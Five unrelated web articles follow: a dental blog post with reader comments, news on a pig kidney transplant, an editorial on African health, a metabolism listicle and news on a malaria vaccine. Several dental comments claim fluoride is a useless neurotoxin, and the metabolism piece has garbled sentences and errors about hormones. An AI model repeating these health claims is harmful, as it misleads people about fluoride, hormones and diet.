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Today’s post is from guest blogger Robert Milton. He blogs for Jollyville Dental, an Austin dentist, who specializes in cosmetic dental procedures and Invisalign braces. 10 Foods You Didn’t Know Were Damaging Your Teeth by Robert Milton Most people know candy and other sugary foods wreak havoc on their teeth, but how about fruit? You’ve probably heard brushing and flossing twice a day is the best way to keep your teeth healthy. But some foods cause enough damage to warrant extra cleanings. How does food damage your teeth? There are two main elements of food that tarnish your pearly whites: sugar and acid. Sugars, especially sucrose (table sugar), feed the millions of bacteria already in your mouth. Bacteria feast on your plaque buildup and produce lactic acid, which erodes your tooth enamel. Sucrose is the worst form of sugar because it adheres to teeth very strongly making it (and the bacteria) difficult to remove even when brushing. Acids naturally occur in many foods, including fruit. In these cases, bacteria aren’t necessary to produce acid and cause tooth decay. Instead, acidic foods eat away at your enamel and break down your teeth directly. Generally you can wash away natural acids by drinking water. Ironically, brushing soon after consuming acidic foods or beverages can actually cause more damage. Because teeth are porous, brushing softens them and makes them more susceptible to acid. After eating acidic foods, you should wait at least an hour before brushing. What foods should you worry about? In addition to the sugar and acid in foods, you should consider the length of time food is left on your teeth. The more time bacteria have to produce acids, the more damage will be done. While many of these foods are healthy for other reasons, you should try and care for your teeth soon after eating them. Drinking water with your meal, chewing sugar-less gum, rinsing with an alcohol-free fluoride mouthwash or flossing and brushing with toothpaste reduces the risk of damage. Look out for: - Sugar and/or acid content - Stickiness (how much food remains on teeth) - How long the food is in your mouth 10 Foods That Damage Your Teeth Apples are high in acid, are surprisingly hard on your enamel. While a daily apple may keep the doctor away, the acid might keep your dentist on speed dial. Eating apples is fine, just be sure to rinse your mouth with water or mouthwash shortly after. 2. Hard candies Though you probably know the sugar in candy is a problem, hard candies are especially harmful because we tend to hold them in our mouths longer. Also be aware that cough drops are often made with sugar, so opt for the sugar-free brand if available. 3. Pickled vegetables Pickles are made with vinegar, which is acidic, and often sugar as well. While the vegetables are healthy, the brine is can damage your teeth. Drinking water with your meal helps wash away acids and sugar, but remember to brush an hour later. Many breads contain sugar—especially processed white breads. It’s best to check the labels for any added sweeteners that will breed mouth bacteria. Bread is also sticky and gets between and behind your teeth. Popcorn is notorious for getting stuck in your teeth, and the areas between your teeth will cultivate more bacteria for that reason. It’s okay to treat yourself to a bag of popcorn as long as you rinse with water and remember to floss and brush after. 6. Peanut butter Sticky and often made with sugar, peanut butter not only feeds bacteria but makes it easier for them to adhere to teeth. Look for natural peanut butters with no added sugars to lessen the problem. Along with peanut butter, jelly or jam is loaded with sugar and quite sticky. Even the all-fruit brands contain natural sugars and encourage plaque and bacteria if not washed away soon. Meat tends to get stuck between your teeth, and some meat products contain sugar as a preservative. While the amount may not be very high, any food that sits between your teeth can promote tooth decay. Try chewing sugar-less gum after eating if you can’t brush right away. 9. Diet soda Just because it doesn’t have sugar doesn’t mean your teeth are safe. The acidity of diet sodas is still extremely high, making it one of the worst products for your teeth. 10. Salad dressing More of a condiment than a food, salad dressings use vinegar and sugar for flavor. Salads should be a staple in anyone’s diet, but be careful of the dressings that can harm your smile. What are your tips to reduce tooth decay? What about the various cultures that regularly consume pickled vegetables? (Japan, etc.) Do they have a history of dental issues because of this? Thanks for the question, Mike! There’s an overall global trend of an increase of dental issues among developing countries. The problem is as a country becomes more industrialized there’s a gap created by a higher consumption of sugary foods, alcohol, and tobacco and the lack of health resources such as fluoride and dental facilities. So interestingly, the countries that have better oral health are the richest (access to dental care) and poorest (lower consumption of sugars). So you think flouride is good? lost me there, you and your blog have zero credibility moving forward, but good attempt at tricking people into thinking you know what you are talking about. Flouride is a neurotoxin, and does nothing for anyone’s teeth. So… I have a PhD in neuroscience and have spent several hours investigating your hypothesis, and couldn’t come up with any compelling evidence to support it. You’re more than welcome to disagree with me here, but kindly do us the honors of citing your sources. Start in nazi germany, that will help you, you can also look here: beyond amazed that you could be a ‘phd’ and us non phd’s could do actual research and figure this all out? What does that say about our education system where someone with a neuroscience Phd, cannot know basic fundamentals about neuroscience? Of course the link will be skipped and some text book from somewhere will be cited as gospel and you will go on telling people ‘flouride is good’ even with the piles of tests that have come out just recently, including from Phd capital of the world harvard. The best thing you can do when you have a blog is do research, know your facts, because people look at your blog, and some think you will know what you are talking about, simply because you have created a website. They will use flouride in their toothpaste despite that it does nothing to make teeth or bones stronger and drink flouridated water despite the body has no reason to ingest this type of flouride. There is of course more that you can research on this topic, the manhattan project, the fact it is a dumping ground for aluminum by products, is useless to the body (except as a neurotoxin) and so on. But then again, you have a Phd, so you know all… and you have been a Phd for 20 years, so you definitely know all. Of course i would provide you more sources, but i am pretty sure you won’t even give this one the time of day, nor the links contained therein, backed ALL by facts, data, timelines, moneyflow and more. They taught you well, I know, because you are a Phd Just to clarify, histories and testimonials aren’t the same as rigorous scientific experimentation, which is what I was looking for. I agree. I am taken aback at brian’s strong words and weak evidences. To the lady with the Phd. Well there is a large amount of data out there that gets discounted and never published in mainstream journals. That doesnt mean it isnt credible by any means. Articles in Nexus magazine for example cover it in great detail. Thosr articles by the way are often written by scientists. Hoe on earth can you be a neurologist and not know it is neurotoxic? Are ypu for real? You took the space in medical school of someone that might have actually been bettwr than you, clearly. You couldnt come up with any compelling evidence? Are you kidding me? The evidence is all over the place, if you actually look. What a circus. Apple shocked me! And peanut butter scared me… I eat SO much PB. Off to go brush my teeth again… 🙂 It’s helpful to remember about acidic foods being hard on your teeth. I know I’m mostly concerned with sugary drinks, but often neglect brushing after eating acidic foods. I tend to be a hot sauce addict and they tend to have a lot of vinegar. A lot of this I already knew. Another one that should be on the list is coffee, particularly if you use milk and sweetener. Several years ago, when I first started college (around age 18), I was drinking nearly a pot of black coffee per day (I had been drinking black coffee since age 11). When I went to the dentist, based on the staining on my teeth, he asked if I was a smoker (I had never smoked). Apparently the level of staining I had was equivalent to smoking a pack a day on my teeth! And that was without using cream or sugar. The dentist recommended I cut back to a maximum of two cups per day and to start using plain milk (no sweetener, no artificial creamers) to minimize the staining. Since then I have cut back dramatically. On a different note, I was surprised to see apples on the list. I seem to remember an old wives’ tale as a child that basically said that if you weren’t able to brush your teeth before bed, eating an apple was the next best thing. Anyone else ever hear that one? We could have another full list of all the foods and drinks that stain teeth! Coffee–definitely, blueberries, tea, colored soft drinks, red wine, fruit juice, etc. I have heard about eating an apple to clean teeth also. The crunching down and chewing on certain foods can remove food particles and increase saliva production. But the acid and sugar content of an apple is notably high, so to eat one before bed as a means of brushing leaves your teeth coated overnight. I wouldn’t suggest it. I don’t know about anyone else, but I always get apple stuck between my teeth so I have to make sure to floss. Thanks for commenting! Um, no, sorry, you’re wrong and this whole article is wrong, you’re paid by dentists so they aren’t put out of a job. NONE of those foods stain teeth. I bet you don’t even know the connection between the digestive system and the teeth. I’ve already tried all your “crap” of trying to get rid of these so-called stains, when I don’t even eat RED fruits: Strawberries are good for whitening the teeth, none of these stain teeth, just because it stains the white fabric of material doesn’t apply to teeth. The only “staining” going on here is when the gut is damaged and can’t properly absorb key nutrients that the teeth need, I even cut out sugar and my teeth were still browning and rotting, it wasn’t until I cut out all wheat that my teeth stop going brown, and now I’m working on cutting out nightshades: Tomatoes (yes, those pesky little buggers after all), Peppers (except peppercorns),and potatoes (except sweet and yams), these are all damaging to the gut and thus the teeth, Especially those who are sensitive to them. However, if any of these foods give you indigestion, than you shouldn’t be eating them. I note how you dentists and PHd’s state about the MOST HELPFUL fruits to be “damaging” or “Staining” you state this because people believe you instead of going against your grain. Well, I don’t believe you, and Sodium Flouride is poison! Calcium Flouride would be better, but I avoid it all together. I however almost always make certain to floss after no matter what I’ve eaten, but the bread in this article, I believe you about, because it is sticky and does stick to every surface on the teeth. But, don’t anybody respond to my comment, if this comment is approved, because I will not read it. You can read my comment and think whatever you’re going to think, and it won’t matter what you post in response to it, I will not read it. It’s just like my brother who can’t think outside the box, ’cause his believes are running along the “Oh, he/she’s a doctor/nurse, so I have to believe them!” – well, I don’t! Most dentists are only taught about the mouth, teeth, and what might erode them, but not what actually erodes them, nor about how the teeth are linked to the digestive system. Did you know that 90% percent of your immunity system lies within your digestive tract? So if you don’t have good gut flora, boy are you in trouble. @Heather Calm down mofo, you need to chill. btw do you brush your teeth? just after some context behind your f*cked up dental issues. You have to understand that apples in the past had far less acid sugar than the commercially available apples in the supermarkets today which are engineered to have longer shelf lives than traditional varieties. To sum up: the old wives tale may once have had more truth in it once; but, sadly no longer applies. How did you know the are differences of acidity level between past apple and nowadays apple. Could you elaborate on the sweetener thing? I recently started taking Sweetex as an alternative to sugar (two in each cup of tea). Thanks 🙂 Wow! This is some great info! I really had no idea… An apple a day keeps the doctor away, but I guess it works in reverse for dentists! Thanks for the great info! I eat 7/10 of the listed pretty regularly. Now I’m going to have even more dreams of my teeth falling out. Re: number 9, it should be pointed out that many other beverages are equally acidic. The pH of fruit juice, white wine and soda are roughly in the same ballpark. I would argue that the acidity of a beverage is largely irrelevant in relation to tooth decay, simply because liquids are not typically kept in the mouth for an extended period of time. If somebody is really concerned they could just rinse with water after consuming an acidic beverage. The rule of good measure for sugary drinks tends to go like this: if you sip on sugary drinks throughout the day – i.e. soda or sweet tea – the saliva in your mouth doesn’t get the chance to reset to the proper pH. This is even more-so compounded if you eat meals and snacks containing the aforementioned foods. So, the rule of thumb says if you want to drink sugary drinks, do so at meal times and be done. Don’t sip on them or drink them more than at meal times. Drink water between mealtimes to reset pH, increase metabolism, cleanse and hydrate your body and your teeth will love you for it 😆 Great article; was hoping you’d talk about fluoride! I know conspiracy theories blow fluoride’s danger out of proportion, but interesting how it is a lot less “fine and dandy” than toothpaste companies might lead you to believe… Based on everything I’ve read (and it is indeed hard to narrow it down) and from personal experience, fluoride is pretty much useless. It is highly corrosive and large amounts will very quickly cause illness or death (such as when too much fluoride gets into the water supply). The important thing is avoiding sugars, white flour, and rinsing with water after you eat anything. I also brush at night without toothpaste. My teeth have improved tremendously in the past year of not using toothpaste just by being more cautious of how I eat affects my oral health. I’m not sure if the conspiracy behind fluoride and it being pumped into water in trace amounts to save company’s money and ultimately profit is true. But it does seem unlikely that an amount so trace that you could even swallow an entire tube of toothpaste without it killing you (less than 0.5mg in an entire tube) would have any effect on our teeth, positive or negative. Starch is turned into glucose in the mouth via amaylase, so bread’s a double-whammy. Additionally wheat can interfere with the vitamin D metabolism, and was used by the discoverer of vit. D to induce rickets. Grains in general are probably best avoided, as this post reviewing Mellanby’s tooth-decay-reversing diet demonstrates: How about finishing up with some raw celery? Isn’t it natures’ toothbrush? I don’t know about that, hosia, but I do recall noticing how many Indian people at college (in the UK), had pristine teeth. Many of them also ate curries so naturally I wondered how their teeth remained so clean. My Indian friend told me the name of a an Asian plant you can chew on; it’s supposed to do wonders for your teeth. Sorry if it seems I’m being lazy and not answering your question or providing a proper source for my own comment. This is an interesting list. I wore braces from age 8-13, so worry a lot about this subject. My wife always disagree about giving our kids “gummy” style vitamins at bedtime for just this reason. I tend to believe no matter how hard they brush, that stuff isn’t coming off their teeth before they go to sleep… #8 bothered me a bit that he recommended brushing if you got steak stuck in your teeth; a good dentist will tell you to FLOSS. If you don’t have time to brush, FLOSSING is always the priority! Brushing won’t get rid of food or plaque stuck between your teeth well enough. You’re absolutely right. If you don’t have time to both brush and floss, then you should opt to floss. However, both are equally important for good oral hygiene. Brush to get sugars in meat off your teeth. Floss to get meat out from between your teeth. Thanks Bunny! You should never brush your teeth straight after every meal, since you’ll actually do more harm than good. It’s akin to rubbing a layer of dirt into your teeth, rather than letting your saliva levels replenish and start to wash it away. The toothpaste actually seals in the bacteria. Wait at least 45 mins before you brush. It’s far better simply to swill your mouth out with water after every meal, as this will help replenish to pH levels and swish away and nasty sugars attempting to cling to your teeth. If you’re addicted to cola and stimulation drinks, at least use a straw. Note, this will only reduce rather than eliminate, the amount of sugars and sweeteners lacing your teeth. These two drinks are notoriously high in sugar content, so much so that this is the reason you feel full of energy (until you crash at least). As the article says, even diet versions aren’t entirely safe, and all brands of cola no matter how cheap or expensive are a risk. Learn how to use the straw effectively so that the liquid goes straight down the back of your throat. When you’re done simply swill your mouth out with water (this is good practice with both meals and drinks). Left untreated, cola will destroy your oral health; it rotted many of my teeth away and I had to have implants. Even with implants, your gums need special care as the cola makes them recede due to the sheer amount of acid in your mouth. I never knew about these things until it was too late. Peanut butter ( because it has sugar ) Meat ( because it has added sugar) bread ( because it has added sugar ) Dont give things a bad name just because some companies add sugar, you can find all of these products without any added sugar. Well actually if you take care of your teeth after each meal (and here I talk about brushing and mouthwash, not chewing gum!), the damages inflicted are minimum. So I say you can eat everything as long as you don’t neglect your teeth, at least 2 brushes a day and a mouthwash after each of these “dangerous meals” should do the job. Marshmallows are bad for you teeth really bad What are your thoughts on sugar free gum I have used it on a regular basis over the past year, mainly to increase saliva flow and help displace food debris and acids after eating. One thing I have found is that it makes my mouth very sensitive. I say “mouth” as I’m not sure if it’s the teeth or the gums, but biting on stuff – on certain teeth – results in temporary pain but only after extended gum chewing. The gum I buy also has xylitol, supposed to stop the plague sticking to the teeth and even help re-mineralise them. However I am by no means an expert. Another reason I chew gum is simply to relax me and help me stay alert. I have had no fillings come out or teeth crack as a result of chewing (I always break the piece in two and bite down very soft). My teeth are in average shape following lots of restorative surgery so they are more prone to damage. Hope this helps in some way 🙂 Hi there, Sheppers here, I’m not sure about ten but one food that Germans of all eras claim to be fantastic for your oral health is the traditional Flurocaka (Flouride Cake to you and I). I enjoy baking, photographing against a cluttered background, and ultimately eating these sizeable cakas at any opportunity I get. Apples are not bad for the teeth. Please cite a source that supports this ridiculous charge. Apple juice is terrible because it’s highly acidic and very sugary, but apples? No. Also, a little baking soda added to water makes a good after-meal rinse. It helps restore the pH balance of the saliva. I just wanted to mention the dangers of roasted daria beans, but equally other similar foods: they can damage/chip your teeth! Some are as hard as little pebbles. You don’t expect that so you take a handful at a time, start munching and bang! There goes half of one of your molars! Beware.

http://summertomato.com/10-foods-you-didnt-know-were-damaging-your-teeth/

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For the first time, a pig kidney has been transplanted into a human without triggering immediate rejection by the recipient’s immune system, a potentially major advance that could eventually help alleviate a dire shortage of human organs for transplant. The procedure done at NYU Langone Health in New York City involved use of a pig whose genes had been altered so that its tissues no longer contained a molecule known to trigger almost immediate rejection. The recipient was a brain-dead patient with signs of kidney dysfunction whose family consented to the experiment before she was due to be taken off of life support, researchers told Reuters. For three days, the new kidney was attached to her blood vessels and maintained outside her body, giving researchers access to it. Test results of the transplanted kidney’s function “looked pretty normal,” said transplant surgeon Dr. Robert Montgomery, who led the study. The kidney made “the amount of urine that you would expect” from a transplanted human kidney, he said, and there was no evidence of the vigorous, early rejection seen when unmodified pig kidneys are transplanted into non-human primates. The recipient’s abnormal creatinine level – an indicator of poor kidney function – returned to normal after the transplant, Montgomery said. In the United States, nearly 107,000 people are presently waiting for organ transplants, including more than 90,000 awaiting a kidney, according to the United Network for Organ Sharing. Wait times for a kidney average three-to-five years. Researchers have been working for decades on the possibility of using animal organs for transplants, but have been stymied over how to prevent immediate rejection by the human body. Montgomery’s team theorized that knocking out the pig gene for a carbohydrate that triggers rejection – a sugar molecule, or glycan, called alpha-gal – would prevent the problem. The genetically altered pig, dubbed GalSafe, was developed by United Therapeutics Corp’s (UTHR.O) Revivicor unit. It was approved by the U.S. Food and Drug Administration in December 2020, for use as food for people with a meat allergy and as a potential source of human therapeutics. Medical products developed from the pigs would still require specific FDA approval before being used in humans, the agency said. Other researchers are considering whether GalSafe pigs can be sources of everything from heart valves to skin grafts for human patients. The NYU kidney transplant experiment should pave the way for trials in patients with end-stage kidney failure, possibly in the next year or two, said Montgomery, himself a heart transplant recipient. Those trials might test the approach as a short-term solution for critically ill patients until a human kidney becomes available, or as a permanent graft. The current experiment involved a single transplant, and the kidney was left in place for only three days, so any future trials are likely to uncover new barriers that will need to be overcome, Montgomery said. Participants would probably be patients with low odds of receiving a human kidney and a poor prognosis on dialysis. READ ALSO|The US Confirms Monkeypox Case Imported From Nigeria “For a lot of those people, the mortality rate is as high as it is for some cancers, and we don’t think twice about using new drugs and doing new trials (in cancer patients) when it might give them a couple of months more of life,” Montgomery said. The researchers worked with medical ethicists, legal and religious experts to vet the concept before asking a family for temporary access to a brain-dead patient, Montgomery said.

https://www.reporterswall.com/first-pig-kidney-transplant-to-human-patient-successful-by-u-s-surgeons/

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Learn more: PMC Disclaimer | PMC Copyright Notice Africa can solve its own health problems On the evidence of such archaeological finds as Lucy, the australopithecine female unearthed in Ethiopia's Hadar region, Africa is the cradle of the human race. Africa was also home to notable ancient civilisations—the Egypt of the Pharaohs, the Ashanti Empire of the Gold Coast, and the Zimbabwe settlements in the south. Given such a head start, it is ironic that Africa should now find itself at the bottom of the ladder in terms of human development. Most of the countries in sub-Saharan Africa lag far behind other developing nations with respect to critical health indicators such as maternal and infant mortality and life expectancy. Granted, Africa's legacy of particularly exploitative colonial occupation by European powers is partly to blame. However, Africans themselves must bear the responsibility for failing to create an enabling environment for better health—safe water and sanitation, secure supply of food and nutrition, education, and higher status of women—in the period since the continent's political emancipation that began with Ghana's independence in 1957.1 Instead, many countries have seen both opportunity and resources squandered on political adventurism, civil wars, misguided macroeconomic policies, and greed. Nevertheless, with sufficient will, commitment, and vision, and by making the right choices, Africa can successfully address its own health challenges and start to contain the morbidity and mortality from diarrhoeal diseases, childhood infections, parasites, and maternal and perinatal morbidity, as well as emerging and re-emerging infections of HIV, malaria, and tuberculosis. Africa's health challenges are not insurmountable. In most cases, the solutions are straightforward and inexpensive, requiring only that the right political choices be made. The World Health Organisation has identified poverty in Africa as “the single biggest threat to health.”2 And in an unpublished speech to Kenya's Medical Research Foundation on 19 January 2001, Britain's minister for the Department for International Development, Baroness Amos, warned that “in the short term and in the long run, African governments, leaders, and individuals will need to exercise more leadership, set agendas, and mobilise far more resources, for a sustained response to lift people out of poverty.” Africa's top priority must therefore be to grow the economy, which in the view of the World Bank means buying into the global economic movement. David Dollar of the World Bank cites the example of Vietnam, where the proportion of the population in poverty fell from 75% in 1988 to 37% in 1999 as the country “opened up to foreign trade.”3 This view is not universal, however, as has been evident in the “anticapitalism” protests spanning the globe from Seattle to Genoa. Certainly, globalisation has been responsible for crises in banking and currency, steep rises in poverty rates, and widening income inequalities in many countries.4 While African countries cannot escape the global movement, they must embrace it with the necessary circumspection. Two harms of globalisation come to mind. The first is the use of Africans to test drugs from which they will never benefit, either because the drugs are too costly or because they are designed to treat conditions that largely affect industrialised nations.5 The second is the global proselytising of first world values that are detrimental to Africa. The ban on dicophane (DDT)—a cheap and highly effective weapon against malaria—because it was thought to be harmful to US bird species cost millions of African lives, whereas no African has ever died from the normal use of dicophane.6 The mere accumulation of national wealth is not sufficient to deal with poverty as a health risk. Africa must commit to equity and economic distributive justice in order to address national health needs. With this approach, the poor Indian state of Kerala has achieved health indicators almost comparable to those of the United States despite its per capita income being 99% less and its spending on health being $28 per capita compared with $3925 in the United States.7 China, Costa Rica, and Sri Lanka have made similarly impressive gains.8 This means that African countries must address the highly unequal access to personal health care that exists between rich and poor, between urban and rural populations, and between ethnic groups. They must develop coherent and equitable national health systems, redirecting resources from curative care in urban hospitals using expensive high tech equipment to primary and preventive care encompassing immunisation, nutrition, and other elements of an enabling environment for better health. Finally, Africa must look for what South Africa's President Thabo Mbeki, speaking of HIV and AIDS, characterised as “African solutions to African health problems.” To this end, Africa must revive its universities, once heralded as beacons of progress and hope. In the late 1960s and early 1970s African medical schools such as those at Ibadan (Nigeria), Accra (Ghana), and Makerere (Uganda) were counted among the finest in the developing world, engaged in the basic and applied research of typically African health problems. Only when a critical mass of African researchers working on African soil has been restored will Africa begin to generate new knowledge relevant to its most pressing health problems.

https://www.ncbi.nlm.nih.gov/pmc/articles/PMC1122627/

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Foods that boost metabolism for a flat stomach Many people have a limited understanding of the metabolism, despite it being a crucial component of health. Weight loss can be aided by increasing metabolism, but this is only one of a number of intricate processes that can have far-reaching effects. To stay healthy and skinny, it's crucial to comprehend what metabolism is and how your decisions affect it. 10 Foods That Boost Metabolism Why and When - The procedure through which food is digested and converted into energy for your body's fuel is known as metabolism. - The pace at which food calories are turned into energy is known as the metabolic rate. - Your diet may cause your metabolism to slow down or increase depending on a number of variables. - Your metabolism is likely to slow down if you consume foods high in saturated fat, harmful calories, and carbohydrates. - Healthy foods that contain nutrients, fatty acids, and fiber are frequently foods that increase metabolism. - Your metabolism might be impacted by various lifestyle factors such as exercise, sleep patterns, and other habits. WHAT IS METABOLISM? All of the chemical processes required to maintain your life fall under the broad category of metabolism. Turning food into energy to fuel your body is the main goal of the metabolic processes. A wide range of chemicals can be metabolized, including fats, proteins, and glucose, and there are numerous different metabolic events that can take place. To put it simply, it can be thought of as your body "burning" food to fuel its processes. Your metabolism will burn more fuel quickly, allowing the fire to burn brighter. It usually burns substantially less at your resting metabolic rate . The majority of the calories your body burns occur during rest, despite its relatively low pace. Many bodily mechanisms are involved in metabolism. For instance, if there are more calories than needed, your body may store fat or burn it for energy. Your entire health depends on metabolic processes that, in a perfect world, balance your energy intake and usage. Many factors influence metabolism. Yet, the thyroid gland largely regulates it by releasing thyroid hormones such as growth hormones, insulin, estrogen, & testosterone. Metabolism Have Any Impact On Body Weight? There are numerous benefits to having a healthy metabolism, but your weight is one of the most important. A slower metabolism results in more energy being stored as fat and less being utilized, which raises your body mass index. Increasing your metabolism causes more fat to be burned, which helps you lose weight. Food Affect Your Metabolic Process? Your diet can influence your metabolism, but it's doubtful that a single food will have a substantial impact on it. The equilibrium that defines "excellent health" is continually altering due to the ongoing changes in the human body. Your metabolic rate will change depending on how much you exercise, how much you eat, and how much sleep you get. For this reason, some foods can either speed up or slow down your metabolism. The impact of some foods, however, can be difficult to predict. The body's weight, composition, blood sugar, cholesterol levels, and other variables can all affect your metabolism. Sadly, in contemporary living, speeding up metabolism is sometimes far more difficult than slowing it down. In metabolic syndrome, a disorder where systemic imbalances adversely affect your metabolism, excess fat, and blood sugar surges can play a role. Metabolic syndrome can be a very dangerous problem. Making maintaining a healthy weight and other healthy habits much harder. There may also be additional, more severe health issues. By altering your diet to include more nutrient-dense, metabolism-enhancing foods like those on our list, you can increase your metabolism and enhance other areas of your health. THAT RAISE METABOLISM RATE Eating a balanced diet rich in whole foods, seasonal fruits and vegetables, and other fresh produce is the greatest method to enhance your metabolic health and encourage fat loss. Although they are by no means the only options, the items on our list that increase metabolism are excellent examples of where to begin. Fish, and Lean Meat Although foods with more fat may taste fantastic, their calories and cholesterol might cause your metabolism to slow down. White flesh chicken, lean beef, and even tofu are examples of protein-rich foods that need more effort to digest but don't provide you more energy. They can also supply a variety of nutrients necessary for healthy health. 2. The Green Due to green tea's impact on metabolism, many products for losing weight contain it in some manner. Several randomized controlled experiments have demonstrated that caffeine and other components in tea can increase fat oxidation and metabolism, causing your body to burn calories more Although very minimally, eating spicy meals may aid with weight loss. Chili peppers include capsaicinoids, which are organic compounds that can boost energy expenditure and help control metabolism. Despite the fact that avocados are very high in calories, you shouldn't avoid them. These fruits' combination of fatty acids, fiber, and water makes you feel fuller more quickly. It might also assist you in controlling weight gain and calorie intake. The use of healthy fats can also benefit conditions like cardiovascular disease. Due to their abundance of health advantages, beans, and other legumes are essentially a wonder food. They are stuffed with protein to help you develop lean muscle mass as well as other necessary elements for optimal health. Moreover, beans include resistant starch, which has a variety of metabolic advantages like raising insulin sensitivity, decreasing fat accumulation, and lowering cholesterol. The advantages of whole grains for health are difficult to overestimate. They function as a natural appetite suppressant and promote fat loss. Consuming whole grains has also been directly linked to benefits in metabolic syndrome. Furthermore, the more whole grains you consume, the more advantages you're likely to experience. 7. The Leafy Although we frequently concentrate on the advantages of including leafy greens in your diet on a daily basis, they have a variety of health benefits. But, greens may also have a direct, positive impact every time you eat them, providing a momentary boost to metabolism and enhancing the body's capacity to control blood sugar. One could assume that the sugars found in fruits would raise blood sugar and have a detrimental impact on metabolism. Unfortunately, not all calories are created equal, despite repeated assertions to the contrary. Together with the glucose are fiber and other nutrients that slow down digestion. This doesn't offer you additional energy, but it does allow your body a chance to digest the sugar without experiencing blood sugar spikes that can cause insulin resistance, diabetes, and reduced metabolism. Fruit also has fiber and vitamin C, both of which aid in lowering cholesterol and weight loss. 9. The Nuts Nuts and seeds are great providers of fatty acids and protein. They occasionally receive a bad rap and are accused of having extra calories, which makes them a bad choice if you're attempting to reduce weight. In actuality, though, they might be a terrific option for aiding in calorie As a result of their rather difficult digestion by your body, seeds, and nuts have fewer calories than you might anticipate. They also aid in satiety and promote fat cells' metabolism or the process of burning fat. In addition, the protein in nuts can aid with muscular growth. Gaining muscle mass can slightly increase your metabolism because muscle burns more energy than fat does. Water can be a vital food for improving the metabolism even though we sometimes don't even consider it a food because of how essential it is. To be absorbed, water must be brought to body temperature, a procedure that consumes very little energy. That can build up over a year and aid in achieving a healthy weight for you. Methods to Increase Metoblocysis and Lose Weight The thermogenic effect of food to increase metabolism is actually quite small. There are quicker, more effective, and more gratifying ways to reduce weight, even though over time it may have a significant impact. There are a number of easy strategies to increase metabolism and calorie burn, one of which is through exercise. Your metabolism speeds up as you become more active to provide your body with energy, increasing your overall energy expenditure. Your metabolism will only increase while you are exercising or for a brief period of time after. There might, however, be long-term advantages. Increasing muscle mass results in a higher resting metabolism because muscle mass burns more calories than fat does. A lower-calorie diet offers various health advantages, one of which is a healthy metabolism. Despite what it may seem like, eating fewer calories might really increase your calorie expenditure. It might even be among the most effective ways to promote a healthier metabolism. But starving yourself is not necessary. Instead, it's about maintaining a sensible diet limit. By influencing hormone levels, enhancing body composition, and guarding against future weight gain, this tactic can be helpful. Despite the fact that the two techniques complement one another, a low-calorie diet may be more helpful for boosting metabolism than weight loss. Take a nap Your health, especially your metabolism, might be negatively impacted by not getting enough sleep. Wide-ranging impacts of sleep deprivation or disruption include reduced growth hormone synthesis and an increased chance of developing diabetes. Also, as your body attempts to keep you energized and active, not getting enough sleep might increase your hunger. As a result, sleep deprivation can lead to weight gain, even if your diet and level of activity remain the same. Keep in mind that increasing your sleep won't always lead to better metabolism. Your body's systems, including your metabolism, are kept in balance by getting a sufficient amount of sleep. But another imbalance that can have negative effects is too much sleep. Use Metabolism Boosting Supplements If you don't acquire the right combination of nutrients from your diet alone, your metabolism may slow down as a result of vitamin deficiencies. With substances that support your health and accelerate your metabolism, supplements that increase metabolism can help fill in the gaps. Post a Comment

https://www.healthlifekit.com/2023/03/foods-that-increase-metabolism-and-burn.html

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Several vaccines for malaria have been developed over the past few decades, but none offer complete protection. Now, for the first time, US researchers have developed a vaccine that protects 100% of those given five doses of the vaccine. Caused by Plasmodium parasites, malaria affects more than 200m people annually. According to the World Health Organisation, in 2010 malaria killed 660,000, most of them children. GlaxoSmithKline’s Mosquirix is the most advanced malaria vaccine currently being tested. It protects against Plasmodium falciparum, the most deadly of the parasites. But, as Brian Greenwood of the London School of Hygiene and Tropical Medicine told The Conversation, “Mosquirix is only about 50% effective when given to older children and even less effective (about 30%) when given to young infants with routine vaccines. A better vaccine with a higher level of protection is needed.” The new vaccine, dubbed PfSPZ, has been developed by Sanaria, a US biotech firm, in collaboration with the National Institutes of Health (NIH). Like Mosquirix, it attacks the first stage of malaria called “pre-erythrocytic”, and may stem the disease before symptoms show. But unlike Mosquirix, which is made of proteins from the parasite’s surface, PfSPZ uses consists of sporozoites, a young form of the malarial parasite, that have been weaked by irradiation. Sanaria’s concoction was tested in 44 volunteers two years ago by delivering the sporozoites through an injection into the skin. But only two of them developed the required immunity. Later animal studies by Robert Seeder of NIH showed that delivering the vaccine by injecting directly in veins was more effective. This is what Sanaria have done in the new trials. Each of their injections consisted of 135,000 irradiated sporozoites. Only three of the nine volunteers who were given four of these injections at one month intervals developed malaria. None of the six who were given five doses developed the disease. The number of patients involved is tiny. Greenwood warns, “This is only a proof of principle study, although a very important one, and the experiment will need to be repeated on a larger numbers of subjects before it can be taken into field trials in malaria endemic areas.” And scaling up is not going to be easy. Currently, the sporozoites are extracted from mosquitoes manually. Sanaria has employed 15 “dissectors” who can each tear open about 150 mosquitoes per hour. The process will need to be automated if PfSPZ is to make it to the market. The limitations go further. PfSPZ needs to be stored in liquid nitrogen containers. Without five doses it cannot produce 100% protection. Those doses need to be delivered intravenously, which is difficult to do in infants and requires trained professionals for older children . All this makes the vaccine, in its current form, expensive and impractical for a disease that affects the world’s poorest people. “However, the problems are not unsurmountable and there may be technical ways of addressing this challenge,” Greenwood said. Adrian Hill, professor of human genetics at the University of Oxford, welcomes Sanaria’s vaccine but feels he may have a better solution. His research group is working on combining Mosquirix with another vaccine that he believes could be as effective as PfSPZ and won’t have the same limitations. “Mosquirix attacks the first half of the pre-erthyrocytic stage,” he said. “Our vaccine attacks the second half of that stage using a viral vector to deliver the antigen (a molecule that activates the immune system). It is this combination that may do the trick.” Sanaria’s results, published in the journal Science today, are at the very beginning of the vaccine development. There are many other vaccines at various stages of development intermediate between that of the Sanaria vaccine and Mosquirix. “These other vaccines may come to market quicker than PfSPZ, given its limitations,” said Hill, who is optimistic something good will emerge from them. “If all goes well, by 2020, we should have a cheap and effective malaria vaccine.”

http://theconversation.com/new-malaria-vaccine-the-first-to-offer-complete-protection-16862

